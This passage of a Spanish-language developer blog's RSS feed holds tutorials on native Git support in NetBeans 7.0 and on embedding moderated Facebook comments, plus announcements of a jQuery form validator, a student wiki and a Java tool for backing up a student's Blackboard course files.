				<category><![CDATA[Utilidades]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[Git Nativo]]></category>
		<category><![CDATA[git netbeans]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[NETBEANS]]></category>
		<category><![CDATA[netbeans 7.0]]></category>

		<guid isPermaLink="false">http://estebanfuentealba.wordpress.com/?p=1055</guid>
		<description><![CDATA[Hace un tiempo atrás vengo utilizando github para subir mis proyectos e ideas, para poder hacer commits , updates,etc utilizaba un plugin para netbeans llamado nbgit. Hoy descargué Netbeans 7.0 RC1 y leyendo me di cuenta que ahora soporta Git de forma &#8220;nativa&#8221;. Para ello van a Herramientas / Complementos Luego van a la Pestaña [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=1055&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hace un tiempo atrás vengo utilizando <a href="http://github.com/" target="_blank">github</a> para subir mis proyectos e ideas, para poder hacer commits , updates,etc utilizaba un plugin para netbeans llamado nbgit.<br />
Hoy descargué <a href="http://dlc.sun.com.edgesuite.net/netbeans/7.0/beta2/" target="_blank">Netbeans 7.0 RC1</a> y leyendo me di cuenta que ahora soporta Git de forma &#8220;nativa&#8221;.</p>
<p>Para ello van a <strong>Herramientas </strong>/ <strong>Complementos</strong><br />
<a href="http://estebanfuentealba.files.wordpress.com/2011/04/01.png"><img class="aligncenter size-medium wp-image-1056" title="01" src="http://estebanfuentealba.files.wordpress.com/2011/04/01.png?w=300&#038;h=99" alt="" width="300" height="99" /></a><br />
Luego van a la Pestaña <strong>Configuración</strong>, Ahí presionamos el Boton Agregar<br />
<a href="http://estebanfuentealba.files.wordpress.com/2011/04/02.png"><img class="aligncenter size-medium wp-image-1057" title="02" src="http://estebanfuentealba.files.wordpress.com/2011/04/02.png?w=300&#038;h=148" alt="" width="300" height="148" /></a></p>
<p>Ahora ponemos un nombre y agregamos el siguiente link en la URL<br />
<code>http://updates.netbeans.org/netbeans/updates/7.0/uc/beta2/beta/catalog.xml.gz</code> y presionamos Aceptar<br />
<a href="http://estebanfuentealba.files.wordpress.com/2011/04/03.png"><img class="aligncenter size-medium wp-image-1058" title="03" src="http://estebanfuentealba.files.wordpress.com/2011/04/03.png?w=300&#038;h=117" alt="" width="300" height="117" /></a></p>
<p>Comenzará a cargar las actualizaciones , nos dirigimos a la pestaña <strong>Plugins disponibles</strong> y buscamos <strong>git</strong>, lo seleccionamos y presionamos Instalar<br />
<a href="http://estebanfuentealba.files.wordpress.com/2011/04/04.png"><img class="aligncenter size-medium wp-image-1059" title="04" src="http://estebanfuentealba.files.wordpress.com/2011/04/04.png?w=300&#038;h=166" alt="" width="300" height="166" /></a></p>
<p>Después de aceptar las condiciones de uso y de un siguiente, siguiente finalizar, tendremos que reiniciar el IDE y posteriormente veremos instalado Git en la pestaña de <strong>Equipo</strong>.<br />
<a href="http://estebanfuentealba.files.wordpress.com/2011/04/05.png"><img class="aligncenter size-medium wp-image-1060" title="05" src="http://estebanfuentealba.files.wordpress.com/2011/04/05.png?w=300&#038;h=82" alt="" width="300" height="82" /></a></p>
<p>Saludos!</p>
<br />Filed under: <a href='http://estebanfuentealba.wordpress.com/category/utilidades/'>Utilidades</a> Tagged: <a href='http://estebanfuentealba.wordpress.com/tag/git/'>git</a>, <a href='http://estebanfuentealba.wordpress.com/tag/git-nativo/'>Git Nativo</a>, <a href='http://estebanfuentealba.wordpress.com/tag/git-netbeans/'>git netbeans</a>, <a href='http://estebanfuentealba.wordpress.com/tag/github/'>github</a>, <a href='http://estebanfuentealba.wordpress.com/tag/netbeans/'>NETBEANS</a>, <a href='http://estebanfuentealba.wordpress.com/tag/netbeans-7-0/'>netbeans 7.0</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/estebanfuentealba.wordpress.com/1055/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/estebanfuentealba.wordpress.com/1055/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/estebanfuentealba.wordpress.com/1055/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/estebanfuentealba.wordpress.com/1055/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/estebanfuentealba.wordpress.com/1055/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/estebanfuentealba.wordpress.com/1055/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/estebanfuentealba.wordpress.com/1055/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/estebanfuentealba.wordpress.com/1055/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/estebanfuentealba.wordpress.com/1055/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/estebanfuentealba.wordpress.com/1055/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/estebanfuentealba.wordpress.com/1055/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/estebanfuentealba.wordpress.com/1055/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/estebanfuentealba.wordpress.com/1055/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/estebanfuentealba.wordpress.com/1055/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=1055&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://estebanfuentealba.wordpress.com/2011/04/03/netbeans-7-0-git-nativo/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/35d2b25f5fcc5cee54fb2311fcc10ff7?s=96&#38;d=&#38;r=R" medium="image">
			<media:title type="html">estebanfuentealba</media:title>
		</media:content>

		<media:content url="http://estebanfuentealba.files.wordpress.com/2011/04/01.png?w=300" medium="image">
			<media:title type="html">01</media:title>
		</media:content>

		<media:content url="http://estebanfuentealba.files.wordpress.com/2011/04/02.png?w=300" medium="image">
			<media:title type="html">02</media:title>
		</media:content>

		<media:content url="http://estebanfuentealba.files.wordpress.com/2011/04/03.png?w=300" medium="image">
			<media:title type="html">03</media:title>
		</media:content>

		<media:content url="http://estebanfuentealba.files.wordpress.com/2011/04/04.png?w=300" medium="image">
			<media:title type="html">04</media:title>
		</media:content>

		<media:content url="http://estebanfuentealba.files.wordpress.com/2011/04/05.png?w=300" medium="image">
			<media:title type="html">05</media:title>
		</media:content>
	</item>
		<item>
		<title>Comentarios de Facebook (Social Plugin) Administrables</title>
		<link>http://estebanfuentealba.wordpress.com/2011/03/08/comentarios-de-facebook-social-plugin-administrables/</link>
		<comments>http://estebanfuentealba.wordpress.com/2011/03/08/comentarios-de-facebook-social-plugin-administrables/#comments</comments>
		<pubDate>Wed, 09 Mar 2011 00:33:02 +0000</pubDate>
		<dc:creator>estebanfuentealba</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[comment]]></category>
		<category><![CDATA[Developers]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[facebook comment]]></category>
		<category><![CDATA[social plugin]]></category>

		<guid isPermaLink="false">http://estebanfuentealba.wordpress.com/?p=1013</guid>
		<description><![CDATA[Para poder agregar comentarios de facebook con la posibilidad de moderarlos, es necesario 1.- Crear una aplicación de facebook , lo puedes hacer en éste link: http://developers.facebook.com/setup/ Ahi pedirá El nombre de la aplicacion o sitio, la url (en mi caso http://estebanfuentealba.net? el &#8220;?&#8221; permitirá incrustar los comentarios en cualquier dirección del dominio ). Después [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=1013&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Para poder agregar comentarios de facebook con la posibilidad de moderarlos, es necesario<br />
1.- Crear una aplicación de facebook , lo puedes hacer en éste link:<br />
<a href="http://developers.facebook.com/setup/">http://developers.facebook.com/setup/</a></p>
<p>Ahi pedirá El nombre de la aplicacion o sitio, la url (en mi caso http://estebanfuentealba.net? el &#8220;?&#8221; permitirá incrustar los comentarios en cualquier dirección del dominio ).<br />
<a href="http://estebanfuentealba.files.wordpress.com/2011/03/011.png"><img src="http://estebanfuentealba.files.wordpress.com/2011/03/011.png?w=300&#038;h=264" alt="" title="01" width="300" height="264" class="aligncenter size-medium wp-image-1018" /></a></p>
<p>Después nos pedirá un codigo de seguridad y por ultimo nos entregará los datos de la app y un codigo de muestra.<br />
<a href="http://estebanfuentealba.files.wordpress.com/2011/03/021.png"><img src="http://estebanfuentealba.files.wordpress.com/2011/03/021.png?w=300&#038;h=118" alt="" title="02" width="300" height="118" class="aligncenter size-medium wp-image-1019" /></a><br />
De esos datos necesitaremos la identificación de aplicación.<br />
Para agregar los comentarios a las páginas es necesario los siguientes códigos:</p>
<ol>
<li>Agregar al tag  el siguiente codigo:<br />
<pre class="brush: xml;">&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xmlns:og=&quot;http://ogp.me/ns#&quot; xmlns:fb=&quot;http://www.facebook.com/2008/fbml&quot; xml:lang=&quot;es&quot; lang=&quot;es&quot;&gt; </pre></li>
<li>En la cabecera de la página agregar :<br />
<pre class="brush: xml;">&lt;meta property=&quot;fb:app_id&quot; content=&quot;APPID&quot; /&gt;</pre></p>
<p><strong>Ejemplo</strong>:<br />
<pre class="brush: xml;">&lt;meta property=&quot;fb:app_id&quot; content=&quot;207075379302808&quot; /&gt;</pre></li>
<li>En el cuerpo:<br />
<pre class="brush: xml;">
&lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
		&lt;script src=&quot;http://connect.facebook.net/es_ES/all.js#appId=APPID&amp;amp;xfbml=1&quot;&gt;&lt;/script&gt;
		&lt;fb:comments href=&quot;URL&quot; num_posts=&quot;10&quot; width=&quot;500&quot;&gt;&lt;/fb:comments&gt;
	 </pre></p>
<p><strong>Ejemplo</strong>: <pre class="brush: xml;">
&lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
		&lt;script src=&quot;http://connect.facebook.net/es_ES/all.js#appId=207075379302808&amp;amp;xfbml=1&quot;&gt;&lt;/script&gt;
		&lt;fb:comments href=&quot;http://estebanfuentealba.net/facebookComentario&quot; num_posts=&quot;10&quot; width=&quot;500&quot;&gt;&lt;/fb:comments&gt;</pre></li>
</ol>
<p>Quedará algo asi:</p>
<p><pre class="brush: xml;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt; 
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xmlns:og=&quot;http://ogp.me/ns#&quot; xmlns:fb=&quot;http://www.facebook.com/2008/fbml&quot; xml:lang=&quot;es&quot; lang=&quot;es&quot;&gt; 
	&lt;head profile=&quot;http://gmpg.org/xfn/11&quot;&gt; 
		&lt;meta property=&quot;fb:app_id&quot; content=&quot;207075379302808&quot; /&gt;
		&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot;/&gt;
		&lt;title&gt;FB Comentarios&lt;/title&gt;
	&lt;/head&gt;
	&lt;body&gt;
		&lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
		&lt;script src=&quot;http://connect.facebook.net/es_ES/all.js#appId=207075379302808&amp;amp;xfbml=1&quot;&gt;&lt;/script&gt;
		&lt;fb:comments href=&quot;http://estebanfuentealba.net/facebookComentario&quot; num_posts=&quot;10&quot; width=&quot;500&quot;&gt;&lt;/fb:comments&gt;
	&lt;/body&gt;
&lt;/html&gt;</pre></p>
<p><strong>Demo</strong>: <a href="http://estebanfuentealba.net/facebookComentario/">http://estebanfuentealba.net/facebookComentario/</a></p>
<p>Para administrar los comentarios,agregar modedadores, agregar filtros,etc. es posible hacerlo en la misma página que se agregaron los comentarios (Configuración) o en <a href="http://developers.facebook.com/tools/comments">http://developers.facebook.com/tools/comments</a></p>
<p>Saludos!</p>
<br />Filed under: <a href='http://estebanfuentealba.wordpress.com/category/html/'>HTML</a>, <a href='http://estebanfuentealba.wordpress.com/category/javascript/'>JavaScript</a> Tagged: <a href='http://estebanfuentealba.wordpress.com/tag/api/'>API</a>, <a href='http://estebanfuentealba.wordpress.com/tag/comment/'>comment</a>, <a href='http://estebanfuentealba.wordpress.com/tag/developers/'>Developers</a>, <a href='http://estebanfuentealba.wordpress.com/tag/facebook/'>facebook</a>, <a href='http://estebanfuentealba.wordpress.com/tag/facebook-comment/'>facebook comment</a>, <a href='http://estebanfuentealba.wordpress.com/tag/social-plugin/'>social plugin</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/estebanfuentealba.wordpress.com/1013/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/estebanfuentealba.wordpress.com/1013/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/estebanfuentealba.wordpress.com/1013/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/estebanfuentealba.wordpress.com/1013/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/estebanfuentealba.wordpress.com/1013/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/estebanfuentealba.wordpress.com/1013/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/estebanfuentealba.wordpress.com/1013/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/estebanfuentealba.wordpress.com/1013/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/estebanfuentealba.wordpress.com/1013/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/estebanfuentealba.wordpress.com/1013/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/estebanfuentealba.wordpress.com/1013/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/estebanfuentealba.wordpress.com/1013/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/estebanfuentealba.wordpress.com/1013/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/estebanfuentealba.wordpress.com/1013/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=1013&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://estebanfuentealba.wordpress.com/2011/03/08/comentarios-de-facebook-social-plugin-administrables/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/35d2b25f5fcc5cee54fb2311fcc10ff7?s=96&#38;d=&#38;r=R" medium="image">
			<media:title type="html">estebanfuentealba</media:title>
		</media:content>

		<media:content url="http://estebanfuentealba.files.wordpress.com/2011/03/011.png?w=300" medium="image">
			<media:title type="html">01</media:title>
		</media:content>

		<media:content url="http://estebanfuentealba.files.wordpress.com/2011/03/021.png?w=300" medium="image">
			<media:title type="html">02</media:title>
		</media:content>
	</item>
		<item>
		<title>KoalaForm &#8211; Simple Validador de Formularios con JQuery</title>
		<link>http://estebanfuentealba.wordpress.com/2011/03/05/koalaform-simple-validador-de-formularios-con-jquery/</link>
		<comments>http://estebanfuentealba.wordpress.com/2011/03/05/koalaform-simple-validador-de-formularios-con-jquery/#comments</comments>
		<pubDate>Sun, 06 Mar 2011 01:26:58 +0000</pubDate>
		<dc:creator>estebanfuentealba</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Aeurus]]></category>
		<category><![CDATA[JQuery]]></category>
		<category><![CDATA[JQuery Plugin]]></category>
		<category><![CDATA[Valida Formularios]]></category>
		<category><![CDATA[Validate]]></category>

		<guid isPermaLink="false">http://estebanfuentealba.wordpress.com/?p=1009</guid>
		<description><![CDATA[Hace mas de un mes realizando mi practica laboral en la empresa Aeurus y KoalaForm es una de las creaciones que han nacido en éste mes. Fue una petición e idea de Robinson Navarro (mi jefe) y luego de unos días desarrolle éste plugin para JQuery que ahora quiero compartir. El plugin lo he subido [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=1009&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hace mas de un mes realizando mi practica laboral en la empresa <a title="Desarrollo y Posicionamiento Web" href="http://www.aeurus.cl/" target="_blank">Aeurus</a> y KoalaForm es una de las creaciones que han nacido en éste mes. Fue una petición e idea de Robinson Navarro (mi jefe) y luego de unos días desarrolle éste plugin para JQuery que ahora quiero compartir.</p>
<p>El plugin lo he subido a GitHub, por si alguien quiere aportar en el desarrollo</p>
<p>Link: <a href="https://github.com/EstebanFuentealba/KoalaForm">https://github.com/EstebanFuentealba/KoalaForm</a></p>
<p>Ahí encontrarán Ejemplos y la documentación en el <a title="Documentación KoalaForm" href="https://github.com/EstebanFuentealba/KoalaForm/wiki" target="_blank">WIKI</a></p>
<p>&nbsp;</p>
<p>Saludos!</p>
<br />Filed under: <a href='http://estebanfuentealba.wordpress.com/category/javascript/'>JavaScript</a> Tagged: <a href='http://estebanfuentealba.wordpress.com/tag/aeurus/'>Aeurus</a>, <a href='http://estebanfuentealba.wordpress.com/tag/jquery/'>JQuery</a>, <a href='http://estebanfuentealba.wordpress.com/tag/jquery-plugin/'>JQuery Plugin</a>, <a href='http://estebanfuentealba.wordpress.com/tag/valida-formularios/'>Valida Formularios</a>, <a href='http://estebanfuentealba.wordpress.com/tag/validate/'>Validate</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/estebanfuentealba.wordpress.com/1009/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/estebanfuentealba.wordpress.com/1009/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/estebanfuentealba.wordpress.com/1009/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/estebanfuentealba.wordpress.com/1009/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/estebanfuentealba.wordpress.com/1009/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/estebanfuentealba.wordpress.com/1009/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/estebanfuentealba.wordpress.com/1009/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/estebanfuentealba.wordpress.com/1009/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/estebanfuentealba.wordpress.com/1009/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/estebanfuentealba.wordpress.com/1009/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/estebanfuentealba.wordpress.com/1009/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/estebanfuentealba.wordpress.com/1009/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/estebanfuentealba.wordpress.com/1009/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/estebanfuentealba.wordpress.com/1009/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=1009&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://estebanfuentealba.wordpress.com/2011/03/05/koalaform-simple-validador-de-formularios-con-jquery/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/35d2b25f5fcc5cee54fb2311fcc10ff7?s=96&#38;d=&#38;r=R" medium="image">
			<media:title type="html">estebanfuentealba</media:title>
		</media:content>
	</item>
		<item>
		<title>WIKI de Ing. en Informatica de DuocUC</title>
		<link>http://estebanfuentealba.wordpress.com/2010/12/16/wiki-de-ing-en-informatica-de-duocuc/</link>
		<comments>http://estebanfuentealba.wordpress.com/2010/12/16/wiki-de-ing-en-informatica-de-duocuc/#comments</comments>
		<pubDate>Thu, 16 Dec 2010 17:50:08 +0000</pubDate>
		<dc:creator>estebanfuentealba</dc:creator>
				<category><![CDATA[Utilidades]]></category>
		<category><![CDATA[DUOCUC]]></category>
		<category><![CDATA[Ingenieria en informatica]]></category>
		<category><![CDATA[materia]]></category>
		<category><![CDATA[Wiki]]></category>

		<guid isPermaLink="false">http://estebanfuentealba.wordpress.com/?p=1005</guid>
		<description><![CDATA[Bueno, los quiero invitar a participar en la creación de un wiki relacionado a la carrera de Ingeniería en informática de DuocUC. Cual es la idea? Poder compartir y ordenar toda el material referente a la carrera, con ésto tener la información , que a todos nos sirve, en un solo lugar y mas accesible. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=1005&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Bueno, los quiero invitar a participar en la creación de un wiki relacionado a la carrera de Ingeniería en informática de DuocUC.<br />
Cual es la idea?<br />
Poder compartir y ordenar toda el material referente a la carrera, con ésto tener la información , que a todos nos sirve, en un solo lugar y mas accesible.</p>
<p>Cree una cuenta en PBWorks, una plataforma que te da acceso a un sistema wiki con capacidad de 2GB completamente gratuita.</p>
<p>Bueno, eso es todo ,<a href="http://informaticaduocuc.pbworks.com/w/request-access" target="_blank"> los que quieran colaborar  se apuntan aqui</a> y ahí intentamos subir la información (No se usar muy bien la plataforma, pero ahí se aprende jaja)</p>
<p>Dirección del Wiki:<br />
<a href="http://informaticaduocuc.pbworks.com/" target="_blank"> http://informaticaduocuc.pbworks.com/</a></p>
<p>Saludos!</p>
<br />Filed under: <a href='http://estebanfuentealba.wordpress.com/category/utilidades/'>Utilidades</a> Tagged: <a href='http://estebanfuentealba.wordpress.com/tag/duocuc/'>DUOCUC</a>, <a href='http://estebanfuentealba.wordpress.com/tag/ingenieria-en-informatica/'>Ingenieria en informatica</a>, <a href='http://estebanfuentealba.wordpress.com/tag/materia/'>materia</a>, <a href='http://estebanfuentealba.wordpress.com/tag/wiki/'>Wiki</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/estebanfuentealba.wordpress.com/1005/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/estebanfuentealba.wordpress.com/1005/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/estebanfuentealba.wordpress.com/1005/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/estebanfuentealba.wordpress.com/1005/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/estebanfuentealba.wordpress.com/1005/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/estebanfuentealba.wordpress.com/1005/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/estebanfuentealba.wordpress.com/1005/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/estebanfuentealba.wordpress.com/1005/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/estebanfuentealba.wordpress.com/1005/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/estebanfuentealba.wordpress.com/1005/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/estebanfuentealba.wordpress.com/1005/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/estebanfuentealba.wordpress.com/1005/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/estebanfuentealba.wordpress.com/1005/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/estebanfuentealba.wordpress.com/1005/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=1005&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://estebanfuentealba.wordpress.com/2010/12/16/wiki-de-ing-en-informatica-de-duocuc/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/35d2b25f5fcc5cee54fb2311fcc10ff7?s=96&#38;d=&#38;r=R" medium="image">
			<media:title type="html">estebanfuentealba</media:title>
		</media:content>
	</item>
		<item>
		<title>RespaldameKoala Version 1.1 &#124; DuocUC 2010</title>
		<link>http://estebanfuentealba.wordpress.com/2010/11/24/respaldamekoala-version-1-0-duocuc-2010/</link>
		<comments>http://estebanfuentealba.wordpress.com/2010/11/24/respaldamekoala-version-1-0-duocuc-2010/#comments</comments>
		<pubDate>Wed, 24 Nov 2010 21:49:18 +0000</pubDate>
		<dc:creator>estebanfuentealba</dc:creator>
				<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[API BlackBoard]]></category>
		<category><![CDATA[BlackBoard]]></category>
		<category><![CDATA[DUOCUC]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Respaldar DuocUC]]></category>
		<category><![CDATA[Respaldo]]></category>

		<guid isPermaLink="false">http://estebanfuentealba.wordpress.com/?p=959</guid>
		<description><![CDATA[Bueno se viene fin de año y siempre hay que respaldar todos los archivos de BlackBoard y de pahero siempre pierdo toda la información por no respaldar. Pensando en eso, decidí crear un programita para poder respaldar todos los archivos adjuntos de blackboard de DuocUC con solo presionar un boton xD. Es un programa hecho [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=959&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Bueno se viene fin de año y siempre hay que respaldar todos los archivos de BlackBoard y de pahero siempre pierdo toda la información por no respaldar. Pensando en eso, decidí crear un programita para poder respaldar todos los archivos adjuntos de blackboard de DuocUC con solo presionar un boton xD.</p>
<p>Es un programa hecho en Java y usa la api de BlackBoard que compartí hace un tiempo atrás.</p>
<p><strong>Forma de Uso</strong><br />
1.- Primero Debes Loguearte con tu cuenta de DuocUC<br />
<a href="http://estebanfuentealba.files.wordpress.com/2010/11/login.png"><img class="aligncenter size-full wp-image-961" title="login" src="http://estebanfuentealba.files.wordpress.com/2010/11/login.png?w=600" alt=""   /></a></p>
<p>2.- Ahora Te aparece una ventana con todos los documentos que se respaldarán, y debes presionar el botón &#8220;<strong>Comenzar Descarga</strong>&#8221; para descargarlos.<br />
<a href="http://estebanfuentealba.files.wordpress.com/2010/11/download.png"><img class="aligncenter size-medium wp-image-960" title="download" src="http://estebanfuentealba.files.wordpress.com/2010/11/download.png?w=300&#038;h=160" alt="" width="300" height="160" /></a></p>
<p>3.- Se te creará automáticamente una carpeta llamada &#8220;DuocUc Respaldos&#8221; y dentro carpetas con todos los ramos que tengas con los archivos.</p>
<p>Dejo el programa, espero que les sirva.</p>
<p><span style="color:#ff0000;"><strong>Descargar Programa</strong></span><br />
<a href="http://estebanfuentealba.net/ejemplos/RespaldameKoala_v1_1_2.rar">http://estebanfuentealba.net/ejemplos/RespaldameKoala_v1_1_2.rar<br />
</a></p>
<p><em>Forma de Uso</em>: Descomprime &#8220;RespaldameKoala.rar&#8221; y ejecuta el archivo &#8220;RespaldameKoala.jar&#8221;</p>
<p>Requisitos:</p>
<ul>
<li>Tener Instalado <strong>JRE</strong> (<em>Java Runtime </em><em>Enviroment)</em></li>
</ul>
<pre><strong>Codigo Fuente (NetBeans)</strong>
<a href="http://estebanfuentealba.net/ejemplos/RespaldameKoala_v1_1_src.rar">http://estebanfuentealba.net/ejemplos/RespaldameKoala_v1_1_src.rar</a></pre>
<p>Saludos!</p>
<br />Filed under: <a href='http://estebanfuentealba.wordpress.com/category/proyectos/'>Proyectos</a> Tagged: <a href='http://estebanfuentealba.wordpress.com/tag/api-blackboard/'>API BlackBoard</a>, <a href='http://estebanfuentealba.wordpress.com/tag/blackboard/'>BlackBoard</a>, <a href='http://estebanfuentealba.wordpress.com/tag/duocuc/'>DUOCUC</a>, <a href='http://estebanfuentealba.wordpress.com/tag/java/'>Java</a>, <a href='http://estebanfuentealba.wordpress.com/tag/respaldar-duocuc/'>Respaldar DuocUC</a>, <a href='http://estebanfuentealba.wordpress.com/tag/respaldo/'>Respaldo</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/estebanfuentealba.wordpress.com/959/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/estebanfuentealba.wordpress.com/959/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/estebanfuentealba.wordpress.com/959/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/estebanfuentealba.wordpress.com/959/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/estebanfuentealba.wordpress.com/959/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/estebanfuentealba.wordpress.com/959/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/estebanfuentealba.wordpress.com/959/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/estebanfuentealba.wordpress.com/959/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/estebanfuentealba.wordpress.com/959/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/estebanfuentealba.wordpress.com/959/" /></a> <a rel="nofollow" 